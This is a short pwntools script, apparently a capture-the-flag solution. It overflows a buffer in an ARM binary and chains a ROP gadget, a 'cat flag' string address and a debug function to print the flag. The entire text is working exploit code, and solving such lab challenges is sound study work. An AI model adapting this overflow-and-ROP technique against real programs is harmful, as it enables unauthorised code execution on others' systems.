from pwn import *

def exploit(io, elf, libc=None):
    padding = b"A"*68 
    pop = 0x000703c8 # pop {r0, lr}; bx lr;
    cat_flag = 0x000733fc # "cat flag"
    debug = 0x000104d8

    payload = padding + p32(pop) + p32(cat_flag) + p32(debug)

    io.sendlineafter(b'?\n', payload)
    io.recvline()
    flag = io.recvline().decode('utf-8')
    io.success(f'flag: {flag}')